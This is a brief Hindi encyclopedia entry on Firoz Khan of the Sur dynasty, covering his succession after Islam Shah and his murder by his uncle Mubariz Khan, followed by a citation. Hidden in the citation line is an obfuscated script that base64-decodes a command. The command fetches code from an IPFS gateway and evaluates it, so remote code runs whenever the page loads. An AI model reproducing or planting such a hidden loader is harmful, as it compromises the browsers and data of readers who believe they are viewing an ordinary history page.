फ़ीरोज़ ख़ाँ

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फ़ीरोज़ ख़ाँ सूर वंश की स्थापना करने वाले शेरशाह सूरी (1540-1545 ई.) का पौत्र था। वह अपने पिता इस्लामशाह (1545-1554 ई.) की मृत्यु के बाद राजगद्दी पर बैठा था।

  • 'शेरशाह सूरी' की मृत्यु के बाद उसका एकमात्र इकलौता पुत्र 'इस्लामशाह' गद्दी पर बैठा था।
  • इस्लामशाह के बाद फ़ीरोज़ ख़ाँ को सूर वंश की सत्ता प्राप्त हुई।
  • राज्य की सत्ता प्राप्ति के समय फ़ीरोज़ ख़ाँ अल्प-वयस्क था।
  • इस्लामशाह के पश्चात् ही उसके उत्ताधिकारियों के समय सूर-साम्राज्य 5 भागों में बँट गया था।
  • फ़ीरोज़ ख़ाँ की अल्पवयस्कता का लाभ उठाकर उसके मामा 'मुबारिज़ ख़ाँ' ने उसकी हत्या कर दी।
  • बाद में वह स्वयं 'मुहम्मद आदिलशाह' (1554-1556 ई.) के नाम से तख़्त पर बैठ गया।
  • इस प्रकार फ़ीरोज़ ख़ाँ की हत्या के साथ ही सूर वंश का अन्त हो गया।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 257 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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